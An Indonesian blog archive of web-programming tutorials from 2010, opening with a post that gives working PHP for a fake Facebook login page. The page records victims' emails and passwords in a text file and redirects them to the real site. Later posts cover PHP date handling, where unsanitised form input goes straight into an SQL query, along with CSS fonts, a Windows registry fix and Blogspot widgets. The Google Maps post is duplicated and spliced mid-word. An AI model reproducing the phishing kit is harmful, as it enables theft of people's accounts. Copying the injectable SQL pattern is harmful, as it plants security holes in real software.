Mohon maaf, mungkin terdapat beberpa tulisan yang contohnya tidak ada dan tidak dapat didownload bahkan sudah tidak dapat diterapkan. Hal ini dikarenakan tulisan tersebut dibuat babaerapa tahun lalu (jadul).

01 December 2010

Membuat Fake Login atau Login Palsu Facebook

Administrator 01 December 2010 64
Membuat Fake Login atau Login Palsu Facebook
Setelah beberapa lalu ktia membahas mengenai teori social engineering untuk mendapatkan ID facebook orang lain, sekarang Kita coba belajar membuat fake login tersebut. Pertama tama kita ambil dulu sourcer code asli dari halaman aslinya. Dalam hal ini kita ambil contoh facebook. Untuk mengetahui source code facebook ini sangat mudah. Pertama kunjungi halaman facebook kemudian klik kanan mouse kemudian pilih view page source jika Anda menggunakan browser google chrome. Setelah terbuka, silahkan copy source code tersebut. Setelah itu, buat dahulu file dengan extensi php pada hosting kemudian paste-kan kode tersebut pada file yang baru dibut tersebut. Dalam hal ini saya buat dengan nama login.html. Sekarang Anda coba akses file tersbut. Apabila tampilan sesuai dengan facebook, berarti berhasil. Anda dapat melihat gambarnya di bawah ini. :

Halaman login facebook

Source code facebook

Tampilan sukses

Setelah Anda menyimpan file source code tersebut, sekarang cari potongan kode (menggunakan fungsi find atau ctrf+f) id="login_form". Setelah ketemu, ubah action-nya menjadi login.php. Hal ini berfungsi untuk, apabila korban login pada halaman palsu facebook yang telah buat, korban akan dialihkan ke file login.php. Isi dari file login.php adalah sebagai berikut :
<?php
 //menentukan nama file
 $file = "hasil.txt";
 //apabila file ada, akan melakukan proses slenjutnya
 //apabila tidak ada, file hasil.txt dibuat
 //kemudian ke proses selanjutnya
 $a= fopen($file, 'a+') or die("can't open file");
 //mengakap variabel yang dikirim dari file login.html
 $text = "$_POST[email] -> $_POST[pass]\r\n";
 //setelah didapatkan, variabel tersebut ditulis
 $write=fwrite($a, $text);
 //file ditutup kembali
 fclose($a);

 //halaman dialihkan otomatis ke halaman asli facebook
 echo"<script language=javascript>window.location='http://www.facebook.com'</script>";
?>

Setelah selesai, upload file login.html dan login.php yang telah kita buat ke server host. Kemudian buka alamat URL login.html yang telah Anda buat dan cobalah melakukan login. Jika sudah, sekarang silahkan buka alamat URL hasil.txt. Apabila sudah tertulis, berarti pekerjaan Kita telah berhasil. Anda dapat mengubah tampilan hasil.txt sesuai selera. Tidak hanya facebook yang bisa dilakukan, semua form login apapun dapat dibuat halaman palsunya namun caranya tetap sama dengan memanfaatkan ketidak tahuan korban (social engineering).

Dilarang keras membuat dengan tujuan yang tidak baik!!!

FYI : Penarapan hal ini bisa berdampak di-suspend-nya / diblokirnya hosting Anda!!!


29 November 2010

Menampilkan Tanggal Indonesia Format dari Database MySQL

Administrator 29 November 2010 5
Menampilkan Tanggal Indonesia Format dari Database MySQL
Nah, setelah saya menulis artikel mengenai Menyimpan Pilihan Tanggal ComboBox ke MySQL yang fungsinya untuk menyimpan pilihan tanggal dari combobox disimpan ke dalam database MySQL, kali ini saya akan mencoba menuliskan bagaimana cara menampilkan tanggal tersebut dari database MySQL ke halaman browser. Secara default, type data untuk tanggal pada database adalah yyyy-mm-dd (ex:2012-12-20) dan secara default pula yang akan ditampilkan adalah 2012-12-20. Lalu bagimana caranya agar kita dapat menampilkan menjadi 20-12-2012 bingung

Ok, langsung saja kita bahas kasus ini. Sebelumnya kita asumsikan bahwa kita sudah memiliki database dengan nama blog dan tabel dengan nama kalender. Atau jika belum, salin saja coding berikut ini pada SQL query pada database. Dan dalam tabel tersebut sudah tersimpan 3 baris data tanggal.
CREATE TABLE `kalender` (
`id` int(5) NOT NULL auto_increment,
`tgl` date NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;

INSERT INTO `kalender` (`id`, `tgl`) VALUES
(1, '2010-02-27'),
(2, '2010-08-28'),
(3, '2010-11-29');
Nah, setelah selesai sekarang saatnya kita akan menampilkan 3 tanggal tersebut dengan 3 cara yang berbeda bagooos
  • Menampilkan secara default yyyy-mm-dd
    Pada cara pertama ini, kita akan menampilkan tanggal sesuai dengan yang tertulis pada database (yyyy-mm-dd). Untuk menampilkannya gunakan coding ini.
    <?php
    //koneksi database
    $server = "nama_server";
    $username = "nama_user_server";
    $password = "pasword_user";
    $database = "nama_database_yang_digunakan";

    // Koneksi dan memilih database di server
    mysql_connect($server,$username,$password) or die("Koneksi gagal");
    mysql_select_db($database) or die("Database tidak bisa dibuka");
    ?>

    $a=mysql_query("select * from kalender");
    while($b=mysql_fetch_array($a)){
    echo "$b[tgl]<br>";
    }
    ?>
    Letakkan coding di atas dalam satu file, maka akan ditampilkan kalender menurut tipe data dalam database.
  • Menampilkan format Indonesia dd-mm-yyyy
    Pada cara kedua kali ini, kita akan menampilkan format Indonesia. Untuk menampilkannya, gunakan coding di bawah ini.
    <?php
    //koneksi database
    $server = "nama_server";
    $username = "nama_user_server";
    $password = "pasword_user";
    $database = "nama_database_yang_digunakan";

    // Koneksi dan memilih database di server
    mysql_connect($server,$username,$password) or die("Koneksi gagal");
    mysql_select_db($database) or die("Database tidak bisa dibuka");
    ?>

    $a=mysql_query("select * from kalender");
    while($b=mysql_fetch_array($a)){
    $tgl = substr($b[tgl],8,2);
    $bln = substr($b[tgl],5,2);
    $thn = substr($b[tgl],0,4);
    echo "$tgl-$bln-$thn";
    }
    ?>
    Yang membedakan dengan coding sebelumnya adalah terdapat fungsi substr yang berguna untuk mengambil nilai tertentu. Misalkan saja pada coding $tgl = substr($b[tgl],8,2);. $tgl merupakan penamaan variabel untuk menentukan tanggal (nama variabel bebas). Sedangkan $b[tgl] berfungsi untuk mengambil nilai pada database. Angka 8 berfungsi untuk mencari index ke 8 dan angka 2 mengambil nilai tersebut sepanjang 2 karakter.

    Misalkan saja pada nilai yang terdapat dalam database adalah 2010-11-29. Index ke 8 pada nilai itu menunjukkan angka 2 pada 29 dengan asumsi penghitungan dimulai dari depan dengan nomer index 0. Lalu angka 2 pada ($b[tgl],8,2) merupakan panjang data yang akan diambil dan menunjukkan nilai 29. Jadi, secara keseluruhan nilai dari variabel $tgl adalah 29.
Nah, mudah bukan untuk membuatnya? Sekarang adalah giliran anda untuk mencoba. Untuk melihat hasilnya, silahkan lihat halaman ini http://xinthinx.us/demo/indonesian-format/ nyengir

download

28 November 2010

Menyimpan Pilihan Tanggal ComboBox ke MySQL

Administrator 28 November 2010 8
Menyimpan Pilihan Tanggal ComboBox ke MySQL
Nah, setelah beberapa waktu lalu saya menulis artikel mengenai tanggal dengan combobox yang fungsinya yaitu memilih tanggal, bulan dan tahun dengan combobox, maka kali ini saya akan menuliskan artikel bagaimana cara menyimpan pilihan tanggal tersebut ke database. Dalam hal ini kita akan menyimpan ke database MySQL. Masih menggunakan bahasa pemrograman PHP.

Dalam kasus ini, kita akan menggunakan coding sebelumnya yang dapat dilihat pada artikel filter pilihan tanggal pada combobox. Ok, langsung saja kita bahas coding tersebut. Pertama-tama kita akan membuat table database terlebih dahulu dengan asumsi bahwa database sudah terbuat dan bernama blog.
CREATE TABLE `tanggal` (
`id` int(5) NOT NULL auto_increment,
`terpilih` date NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
Setelah database terbentuk, sekarang kita membuat beberapa coding yang fungsinya berbeda namun masih berada pada satu file. Coding yang pertama ini merupakan koneksi antara PHP dengan database.
<?php
$server = "nama_server";
$username = "nama_user_server";
$password = "pasword_user";
$database = "nama_database_yang_digunakan";

// Koneksi dan memilih database di server
mysql_connect($server,$username,$password) or die("Koneksi gagal");
mysql_select_db($database) or die("Database tidak bisa dibuka");
?>
  • nama_server adalah server database yang digunakan. Secara default adalah localhost.
  • nama_user_server adalah nama user yang dapat mengakses database tersebut. Secara default adalah root.
  • password_user adalah password user yang dapat mengakses database. Secara default kosong.
  • nama_database_yang_digunakan adalah nama database yang digunakan. Pada kasus kali ini, database yang digunakan bernama blog.
Setelah itu, letakkan coding berikut di bawah coding koneksi. Coding ini untuk menampilkan pilihan tanggal pada combobox
<form method="POST">
<?php
//array yang digunakan pada ComboBox bulan
$bln=array(1=>"Januari","Februari","Maret","April","Mei",
"Juni","July","Agustus","September","Oktober",
"November","Desember");

//membuat tanggal 1-31 pada ComboBox
echo "Tanggal: <select name=tanggal>
<option value=01 selected>01</option>";
for($tgl=2; $tgl<=31; $tgl++){
$tgl_leng=strlen($tgl);
if ($tgl_leng==1)
$i="0".$tgl;
else
$i=$tgl;
echo "<option value=$i>$i</option>";}
echo "</select> ";

//membuat bulan ComboBox
echo " <select name=bulan>
<option value=1 selected>Januari</option>";
for($bulan=2; $bulan<=12; $bulan++){
echo "<option value=$bulan>$bln[$bulan]</option>";}
echo "</select> ";

//Membuat tahun 1900 sampai sekarang pada ComboBox
$now=date("Y");
echo " <select name=tahun>
<option value=1900 selected>1900</option>";
for($thn=1901; $thn<=$now; $thn++){
echo "<option value=$thn>$thn</option> ";}
echo "</select>";
?>
<br><input type="submit" value="Pilih" name="pilih"/>
</form>
Setelah itu, tambahkan lagi beberapa baris coding yang berfungsi sebagai proses untuk menyimpan ke database MySQL. Letakkan coding berikut ini di bawah coding untuk pilihan tanggal dengan combobox
<?php
//jika tombol pilih di klik
if($_POST[pilih]=="Pilih"){
$bulan=$_POST[bulan];$tanggal=$_POST[tanggal];$tahun=$_POST[tahun];
//filter pilihan tanggal
if(((($bulan==4)||($bulan==6)||($bulan==9)||($bulan==11))&&($tanggal==31))||
(($bulan==2)&&($tahun%4==0)&&(($tanggal==30)||($tanggal==31)))||
(($bulan==2)&&($tahun%4!=0)&&(($tanggal==29)||($tanggal==30)||($tanggal==31)))){
if((($bulan==4)||($bulan==6)||($bulan==9)||($bulan==11))&&($tanggal==31)){
echo "<table bgcolor='#FFFF99' width='100%'>
<tr>
<td>&#8226; Penulisan Tanggal 31 tidak sesuai dengan bulan.</td>
</tr>
</table>";
}
if(($bulan==2)&&($tahun%4==0)&&(($tanggal==30)||($tanggal==31))){
echo "<table bgcolor='#FFFF99' width='100%'>
<tr>
<td>&#8226; Pengaturan februari kabisat.</td>
</tr>
</table>";
}
if(($bulan==2)&&($tahun%4!=0)&&(($tanggal==29)||($tanggal==30)||($tanggal==31))){
echo "<table bgcolor='#FFFF99' width='100%'>
<tr>
<td>&#8226; Pengaturan februari bukan kabisat.</td>
</tr>
</table>";
}
}
//jika pilihan benar maka proses simpan dalam database
else{
mysql_query("insert into tanggal(terpilih) values ('$tahun-$bulan-$tanggal')");

echo "Berhasil disimpan";
echo "<meta http-equiv='refresh' content='3;url=index.php'>";

}
}
?>
Pada intinya, ketiga coding di atas, diletakkan dalam satu file. Mudah bukan? Selamat mencoba nyengir. Sebagai contoh hasil, silahkan buka halaman ini http://xinthinx.us/demo/save-date/.

download

01 September 2010

Membuka Aplikasi dan yang Terbuka adalah Aplikasi Lain

Administrator 01 September 2010 6
Membuka  Aplikasi dan yang Terbuka adalah Aplikasi Lain
Bulan kemaren, saya mendapat suatu masalah pada laptop pacar saya. Permasalahannya, banyak file aplikasi (ber-extension *.exe) tidak dapat dijalankan. Atau dengan kata lain, file tersebut membuka aplikasi lain. Misalnya kita mau membuka salah satu aplikasi Office, malah yang terbuka Windows Media Centre. Kebetulan laptop pacar saya menggunakan sistem operasi Windows Vista. Saya mencoba untuk memperbaikinya hingga akhirnya saya mengalami kebuntuan untuk memperbaikinya. Alhasil, saya melakukan recovery (install ulang) pada laptop tersebut nyengir

Recovery yang saya maksud adalah install ulang melalui hard disk internal laptop. Sial sungguh sial, karena saya baru mencoba melakukan recovery dengan cara itu dan karena main asal click tanpa baca dulu, semua data hilang (terformat) dan laptop jadi terlihat baru lagi owh... Untunglah pacar saya itu tidak marah-marah yang berkelanjutan. Karena saya merasa bersalah, maka saya berusaha mengembalikan data yang terformat tersebut. Saya mencari cara agar data tersebut dapat kembali. Dan pada akhirnya, berhasil!!! Akhirnya data tersebut tidak jadi hilang bagooos Penjelasan mengenai mengembalikan data yang terformat, akan saya coba tulis pada artikel selanjutnya. Sekarang kita kembali ke inti permasalahan.

Nah, setelah semua kasus terselesaikan, barulah saya menemukan solusi tersebut yakni memperbaiki file berektensi *.exe yang jika di jalankan malah membuka Windows Media Centre. Oke, sekarang ikutilah langkah langkah berikut ini:
  1. Buka Task Manager dengan cara tekan Ctrl+Shift+Esc secara bersamaan.
  2. Pilih File, tekan CTRL dan pilih New Task (Run ...) pada waktu yang bersamaan. Dan perintah prompt terbuka.
  3. Pada command prompt etik notepad, dan kemudian tekan ENTER.
  4. Tuliskan file berikut ini ke dalam aplikasi notepad tersebut
    Windows Registry Editor Version 5.00

    [-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe]

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe]

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\OpenWithList]

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\OpenWithProgids]
    "exefile"=hex(0):
  5. Lalu padamenu file di notepad pilih save as.
  6. Pada Save as type, pilihlah all files, kemudian pada kotak File name, tuliskan "perbaikan.reg" (tanpa tanda petik).
  7. Pada daftar encoding, pilihlah unicode lalu save (simpan di tempat yang mudah ditemukan).
  8. Lalu kita membuka windows explorer (explore), kemudia cari file pada lokasi tempat penyimpanan tadi (nomer 7).
  9. Setelah ditemukan, maka click kanan file itu lalu pilih merge (pilihan paling atas), dan pilih yes.
Nah, setelah selesai hingga nomer 9, maka tutup semua aplikasi yang terbuka tadi dan restart Komputer atau laptop anda. Silahkan mencoba dan semoga bermanfaat nyengir

sumber : http://support.microsoft.com/kb/950505

13 July 2010

Filter Pilihan Tanggal pada ComboBox

Administrator 13 July 2010 1
Filter Pilihan Tanggal pada ComboBox
Sebelumnya, Saya pernah menuliskan artikel bagaimana Membuat pilihan tanggal dengan ComboBox pada PHP. Nah, sekarang saya akan memberikan contoh, bagaimana cara mem-filter dari pilihan tangal tersebut. Sebelumnya saya akan menjelaskan dulu apa sih yang di maksud filter di sini? bingung Filter ini adalah penyaring dari suatu data yang dipilih pengguna. Dalam contoh kali ini, pengguna akan memilih tanggal yang diinginkan. Misalnya saja pemilihan tanggal lahir.

Nah, di sini yang akan saya bahas, bagaimana bila pengguna melakukan pemilihan tanggal lahir 31 April? mikir Lalu bagaimana jika ada yang melakukan pemilihan 31 Februari? kaget Jelas tidak ada kan? Ok, sekarang langsung saja kita mulai. Dengan memanfaatkan script yang sudah ada, maka kita tinggal tambahkan fungsi form.
<form action="#" method="POST">
<?php
//array yang digunakan pada ComboBox bulan
$bln=array(1=>"Januari","Februari","Maret","April","Mei","Juni","July","Agustus","September","Oktober","November","Desember");

//membuat tanggal 1-31 pada ComboBox
echo "Tanggal:<select name=tanggal>
 <option value=01 selected>01</option>";
  for($tgl=2; $tgl<=31; $tgl++){
   $tgl_leng=strlen($tgl);
   if ($tgl_leng==1)
    $i="0".$tgl;
   else
    $i=$tgl;
   echo "<option value=$i>$i</option>";
  }
echo "</select>";

//membuat bulan ComboBox
echo "<select name=bulan>
 <option value=Januari selected>Januari</option>";
  for($bulan=2; $bulan<=12; $bulan++){
   echo "<option value=$bulan>$bln[$bulan]</option>";}
  echo "</select>";

//Membuat tahun 1900 sampai sekarang pada ComboBox
$now=date("Y");
echo "<select name=tahun>
 <option value=1900 selected>1900</option>";
  for($thn=1901; $thn<=$now; $thn++){
   echo "<option value=$thn>$thn</option>";}
  echo "</select>";
?>

<br><input type="submit" value="Pilih"/>
</form>

Setelah itu, Letakkan kode berikut ini di bawah script di atas.
<?php
 $bulan=$_POST[bulan];
 $tanggal=$_POST[tanggal];
 $tahun=$_POST[tahun];
 
 if(((($bulan==4)||($bulan==6)||($bulan==9)||($bulan==11))&&($tanggal==31))||
   (($bulan==2)&&($tahun%4==0)&&(($tanggal==30)||($tanggal==31)))||
   (($bulan==2)&&($tahun%4!=0)&&(($tanggal==29)||($tanggal==30)||($tanggal==31)))){
 //menentukan jumlah hari pada suatu bulan
 if((($bulan==4)||($bulan==6)||($bulan==9)||($bulan==11))&&($tanggal==31)){
  echo "<table bgcolor='#FFFF99' width='100%'><tr>
  <td>&#8226; Penulisan Tanggal 31 tidak sesuai dengan bulan.</td>
  </tr></table>";
 }
 if(($bulan==2)&&($tahun%4==0)&&(($tanggal==30)||($tanggal==31))){
  echo "<table bgcolor='#FFFF99' width='100%'><tr>
  <td>&#8226; Pengaturan februari kabisat.</td>
  </tr></table>";
 }
 if(($bulan==2)&&($tahun%4!=0)&&(($tanggal==29)||($tanggal==30)||($tanggal==31))){
  echo "<table bgcolor='#FFFF99' width='100%'><tr>
  <td>&#8226; Pengaturan februari bukan kabisat.</td>
 </tr></table>";
 }
 if(($bulan=="bulan")||($tanggal=="tanggal")||($tahun=="tahun")){
  echo "<table bgcolor='#FFFF99' width='100%'><tr>
  <td>&#8226; Belum di pilih.</td>
 </tr></table>";
 }
 }
 else{
  echo "Sukses";
 }
?>

Beri nama file tersebut sesuai dengan keinginan anda, asalkan menggunakan extensi *.php. Untuk lebih jelasnya, anda bisa menekan tombol di bawah ini :D.

12 July 2010

Membuat pilihan Tanggal dengan ComboBox pada PHP

Administrator 12 July 2010 34
Membuat pilihan Tanggal  dengan ComboBox pada PHP
Biasanya ketika kita membuat suatu web, pastinya terdapat unsur tanggal bukan? Nah, disini saya akan menuliskan bagaimana cara membuatnya dengan bahasa PHP. Salah satu cara untuk memilih tanggal adalah menggunakan ComboBox. Tujuan dengan menggunakan ComboBox adalah untuk mempermudah user dalam memilih pilihan yang sudah disediakan.
Hal ini juga menghindari kesalahan user dalam penulisan suatu format tanggal yang telah disediakan. Untuk lebih jelasnya, lihat pelajari dan coba script berikut ini:
<?php
//array yang digunakan pada ComboBox bulan
$bln=array(1=>"Januari","Februari","Maret","April","Mei","Juni","July","Agustus","September","Oktober","November","Desember");

//membuat tanggal 1-31 pada ComboBox
echo "Tanggal:<select name=tanggal>
<option value=01 selected>01</option>";
 for($tgl=2; $tgl<=31; $tgl++){
  $tgl_leng=strlen($tgl);
  if ($tgl_leng==1)
   $i="0".$tgl;
  else
   $i=$tgl;
   echo "<option value=$i>$i</option>";
 }
echo "</select>";

//membuat bulan ComboBox
echo "<select name=bulan>
  <option value=Januari selected>Januari</option>";
   for($bulan=2; $bulan<=12; $bulan++){
    echo "<option value=$bulan>$bln[$bulan]</option>";
   }
echo "</select>";

//Membuat tahun 1900 sampai sekarang pada ComboBox
$now=date("Y");
echo "<select name=tahun>
 <option value=1900 selected>1900</option>";
  for($thn=1901; $thn<=$now; $thn++){
   echo "<option value=$thn>$thn</option>";
  }
echo "</select>";
?>

Nah, kita bisa lihat dengan menggunakan beberapa baris kode di atas, kita sudah biasa membuat pemilhan tanggal-bulan-tahun. Misalnya dari ComboBox tanggal, hanya dengan beberapa baris kode sudah terdapat pilihan tanggal antara tanggal 1-31. Begitu juga dengan tahun, sudah terdapat pilihan antara tahun 1900 hingga sekarang. Nah, mudah bukan? Sekarang giliran anda untuk mencoba bagooos

Noted : Script di atas belum mengunakan validasi tanggal kabisat.




05 July 2010

Font Embedded pada Browser User

Administrator 05 July 2010 0
Font Embedded pada Browser User
Nah, kali ini saya akan menuliskan bagaimana cara mengganti jenis fonts untuk ditampilkan dalam suatu web. Untuk mengganti jenis fonts tersebut cukup mudah yakni menuliskan script di bawah ini.
 
<font face='Times New Roman, Times, serif'>Coba Font Default</font>
 
Hasilnya: Coba Font Default

Mungkin ada yang bertanya, kenapa terdapat 3 jenis fonts dalam script di atas bingung. Sedikit saya akan jelaskan sesuai pengethuan saya. 3 Jenis fonts tersebut ditulis dengan maksud memberikan pilihan suatu browser untuk menampilkan jenis tulisan tersebut. Script diatas secara default akan menampilkan secara berurutan jenis fonts yang akan tampil. Awalnya browser tersebut menggunakan fonts Times New Roman. Jika browser tersebut tidak mendukung fonts itu, maka browser akan menggunakan fonts Times jika juga tidak mendukung, maka browser tersebut akan mengunakan jenis fonts Serif.

Secara default ketiga fonts tersebut akan muncul sesuai dengan urutannya karena dalam kebanyakan sistem operasi sudah tertanam jenis fonts tersebut. Nah pertanyaanya, bagaimana cara kita menggunakan fonts tertentu yang belum tertanam pada sistem operasi yang digunakan oleh pengunjung suatu web? Mari kita pelajari nyengir.

Ok, misalnya saja kita ingin mengganti jenis fonts kita ke "Betsy Flanagan" pada web, apakah pada komputer user, fonts tersebut akan nampak? Belum tentu, jika pada sistem operasi user tidak ada fonts "Betsy Flanagan" maka tidak akan terlihat fonts itu. Nah, dengan demikian mari kita membuat agar fonts tersebut tetap terlihat meskipun pada sistem operasi user tidak memiliki fonts jenis itu, dengan kata lain, kita tanam fonts tersebut agar bisa diakses dimanapun.

Langkah 1, kita siapakan fonts yang ingin digunakan. Jika nantinya halaman web dibuka menggunakan browser IE, kita harus meng-converter fonts manjadi berextensi *.eot karena embedded fonts di IE harus fonts berextensi .eot, kita bisa meng-converter secara online di situs ini : http://accessify.com/tools-and-wizards/developer-tools/quick-escape/default.php setelah itu perlu diingat fonts harus juga ikut kita upload di dalam webhosting.

Lagkah 2, tuliskan script css di bawah ini kedalam code HTML anda.
<style type="text/css">
    @font-face {
     font-family: xinthinx;
     src: url("/file/betsy.eot") /* EOT file for IE */
    }
    @font-face {
     font-family: xinthinx;
     src: url("/file/betsy.ttf") /* TTF file for CSS3 browsers */
    }
    
    span.demo {
     font-family: xinthinx;
     font-size: 40px;
    }
</style>

<span class="demo">Coba Font Default</span>
Setelah itu, coba kita ketikkan sesuatu pada halaman web setelah kode <body>. Karena pada blogspot ini saya belum tau cara meletekkan kode css tersebut agar font dapat di tampilkan di blog ini, maka anda dapat lihat contohnya.


19 June 2010

Membuat Efek Tombol Gambar Dinamis

Administrator 19 June 2010 0
Membuat Efek Tombol Gambar Dinamis
Nah, setelah beberapa artikel yang lalu saya menuliskan bagaimana cara membuat text field dinamis, sekarang saya akan mencoba menuliskan artikel yang sama caa kerjanya tapi berbeda berdasarkan fungsinya. Masih bingung apa yang saya maksud mikir ? Ok, sedikit penjelasan yang akan saya sampaikan. Maksud dari tombol dinamis ini adalah, ketika kita membuat suatu tombol bergambar dan ketika kursor didekatkan, maka tombol gambar tersebut tampak terlihat timbul.
Contoh di samping ini merupakan Tombol dinamis yang saya maksudkan dan kita akan mencoba membuat tombol tersebut untuk ditampilkan pada suatu web atau blog yang kita miliki. Ok, tanpa banyak penjelasan lagi, langsung saja kita mulai membuat seperti di samping ini. bagooos

Untuk membuat tombol tersebut, awalnya kita membutuhkan 2 buah gambar yang akan di tampilkan. yakni 1 gambar yang ditampilkan sebelum kursor didekatkan dan satu gambar lainnya ditampilkan ketika kursor didekatkan. Disarankan agar kedua gambar tersebut sama tampak visual namun salah satu gambarnya berukuran sedikit lebih kecil dan diberi efek gambar berupa frame. Jika sudah, mari kita ke tahap selanjutnya.

Tahap selanjutnya ini, kita akan mencoba memulai menuliskan suatu koding. Koding tersebut adalah:
<div href='http://contohnya.net/' onmouseout='document.tombol.src='1.png'' onmouseover='document.tombol.src='2.png''>
  <img align='left' name='tombol' src='1.png' width='100' />
</div>
Penjelasan dari kode inti HTML yang tertulis di atas adalah :
  1. onMouseOver="document.tombol.src='2.png'"
    Kode ini berfungsi ketika kursor mouse bergerak menjauhi objek yang telah ditentukan tersebut.
  2. onMouseOut="document.tombol.src='1.png'"
    Kode ini berfungsi ketika kursor mouse berada pada objek yang telah ditentukan tersebut.

Nah, sekian sedikit tutorial dari saya mengenai membuat tombol dengan membuat efek. Untuk lebih jelasnya dapat mengunduh file berikut ini.

07 June 2010

Pengertian Google Maps API

Administrator 07 June 2010 12
Pengertian Google Maps API
Google Maps adalah layanan gratis yang diberikan oleh Google dan sangat popular. Google Maps adalah suatu peta dunia yang dapat kita gunakan untuk melihat suatu daerah. Dengan kata lain, Google Maps merupakan suatu peta yang dapat dilihat dengan menggunakan suatu browser. Kita dapat menamb
Google Maps adalah layanan gratis yang diberikan oleh Google dan sangat popular. Google Maps adalah suatu peta dunia yang dapat kita gunakan untuk melihat suatu daerah. Dengan kata lain, Google Maps merupakan suatu peta yang dapat dilihat dengan menggunakan suatu browser. Kita dapat menambahkan fitur Google Maps dalam web yang telah kita buat atau pada blog kita yang berbayar maupun gratis sekalipun dengan Google Maps API. Google Maps API adalah suatu library yang berbentuk JavaScript. senyum genit
Cara membuat Google Maps untuk ditampilkan pada suatu web atau blog sangat mudah hanya dengan membutuhkan pengetahuan mengenai HTML serta JavaScript, serta koneksi Internet yang sangat stabil. Dengan menggunakan Google Maps API, kita dapat menghemat waktu dan biaya untuk membangun aplikasi peta digital yang handal, sehingga kita dapat fokus hanya pada data-data yang akan ditampilkan. Dengan kata lain, kita hanya membuat suatu data sedangkan peta yang akan ditampilkan adalah milik Google sehingga kita tidak dipusingkan dengan mambuat peta suatu lokasi, bahkan dunia.

Dalam pembutan program Google Map API menggunakan urutan sebagai berikut:
  1. Memasukkan Maps API JavaScript ke dalam HTML kita.
  2. Membuat element div dengan nama map_canvas untuk menampilkan peta.
  3. Membuat beberapa objek literal untuk menyimpan property-properti pada peta.
  4. Menuliskan fungsi JavaScript untuk membuat objek peta.
  5. Meng-inisiasi peta dalam tag body HTML dengan event onload.

Pada Google Maps API terdapat 4 jenis pilihan model peta yang disediakan oleh Google, diantaranya adalah:
  1. ROADMAP, ini yang saya pilih, untuk menampilkan peta biasa 2 dimensi
  2. SATELLITE, untuk menampilkan foto satelit
  3. TERRAIN, untuk menunjukkan relief fisik permukaan bumi dan menunjukkan seberapa tingginya suatu lokasi, contohnya akan menunjukkan gunung dan sungai
  4. HYBRID, akan menunjukkan foto satelit yang diatasnya tergambar pula apa yang tampil pada ROADMAP (jalan dan nama kota)
Nah, cukup sekian informasi mengenai pengertian dari Google Maps. Tapi, kunjungi terus blog ini karena saya akan bertahap membahas mengenai pembuatan Google Maps yang bentuknya dan modelnya beraneka ragam.bagooos
ahkan fitur Google Maps dalam web yang telah kita buat atau pada blog kita yang berbayar maupun gratis sekalipun dengan Google Maps API. Google Maps API adalah suatu library yang berbentuk JavaScript. senyum genit
Cara membuat Google Maps untuk ditampilkan pada suatu web atau blog sangat mudah hanya dengan membutuhkan pengetahuan mengenai HTML serta JavaScript, serta koneksi Internet yang sangat stabil. Dengan menggunakan Google Maps API, kita dapat menghemat waktu dan biaya untuk membangun aplikasi peta digital yang handal, sehingga kita dapat fokus hanya pada data-data yang akan ditampilkan. Dengan kata lain, kita hanya membuat suatu data sedangkan peta yang akan ditampilkan adalah milik Google sehingga kita tidak dipusingkan dengan mambuat peta suatu lokasi, bahkan dunia.

Dalam pembutan program Google Map API menggunakan urutan sebagai berikut:
  1. Memasukkan Maps API JavaScript ke dalam HTML kita.
  2. Membuat element div dengan nama map_canvas untuk menampilkan peta.
  3. Membuat beberapa objek literal untuk menyimpan property-properti pada peta.
  4. Menuliskan fungsi JavaScript untuk membuat objek peta.
  5. Meng-inisiasi peta dalam tag body HTML dengan event onload.

Pada Google Maps API terdapat 4 jenis pilihan model peta yang disediakan oleh Google, diantaranya adalah:
  1. ROADMAP, ini yang saya pilih, untuk menampilkan peta biasa 2 dimensi
  2. SATELLITE, untuk menampilkan foto satelit
  3. TERRAIN, untuk menunjukkan relief fisik permukaan bumi dan menunjukkan seberapa tingginya suatu lokasi, contohnya akan menunjukkan gunung dan sungai
  4. HYBRID, akan menunjukkan foto satelit yang diatasnya tergambar pula apa yang tampil pada ROADMAP (jalan dan nama kota)
Nah, cukup sekian informasi mengenai pengertian dari Google Maps. Tapi, kunjungi terus blog ini karena saya akan bertahap membahas mengenai pembuatan Google Maps yang bentuknya dan modelnya beraneka ragam.bagooos

26 March 2010

Membuat Gambar Melayang pada Blogspot

Administrator 26 March 2010 1
Membuat Gambar Melayang pada Blogspot
Apa seh itu gambar melayang? Gambar melayang adalah suatu gambar atau bisa juga kita buat suatu widget yang selalu terlihat pada halaman blog. Misalnya saja, ketika kita menuju ke halaman bawah suatu blog, maka gambar atau widget tersebut selelu terlihat. Hal tersebut dikarenakan bahwa gambar itu sebenarnya berada pada bagian depan blog yang asli. Maksudnya, pada blog tersebut terdapat 2 bagian, bagian 1 adalah bgian dimana kita melihat, membaca bahkan memberi komentar yang sangat umum kita lihat. Sedangkan bagian 2 adalah bagian yang berada di depan bagian 1 tadi.Jadi istilehnya bagian 1 ditindis oleh bagian 2. Masih bingung? langsung aja kita coba ya nyengir.
Dalam pembuatan gambar melayang, ada beberapa hal yang harus dilakukan, diantaranya adalah :
  • Login-lah dengan id blogspot anda.
  • Lalu pilih Tata letak/Layout -> Edit HTML
  • Setelah itu, carilah ]]></b:skin> yang berada pada halaman tersebut.
  • Letakkan code berikut di atas code ]]></b:skin>
#xinthinx {
  position:fixed;
  _position:absolute;
  top:0px;
  left:5px;
  clip:inherit;
  top:expression(document.documentElement.scrollTop + document.documentElement.clientHeight-this.clientHeight);
  _left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);
}
  • Untuk mengatur tempat gambar tersebut melayang, anda hanya mengganti nilai top dan left pada code di atas.
  • Setelah itu, sekarang cari kode </body> lalu letakkan kode berikut diatasnya (contoh berikut adalah menampilkan id yahoo messenger).
<div id='xinthinx'>
  <a href='ymsgr:sendIM?id_cahoo_anda'>
  <img border='0' src='http://opi.yahoo.com/online?u=id_yahoo_anda&amp;t=6' style='float: right; margin-top: 35px;' title='Chat sama aku yuk'/></a>
</div>
  • Untuk mengganti sesuatu yang akan ditampilkan, anda harus memasukkan kode di antara <div id='xinthinx'> dan </div> dengan syarat, anda diharuskan memiliki kemampuan dasar html.
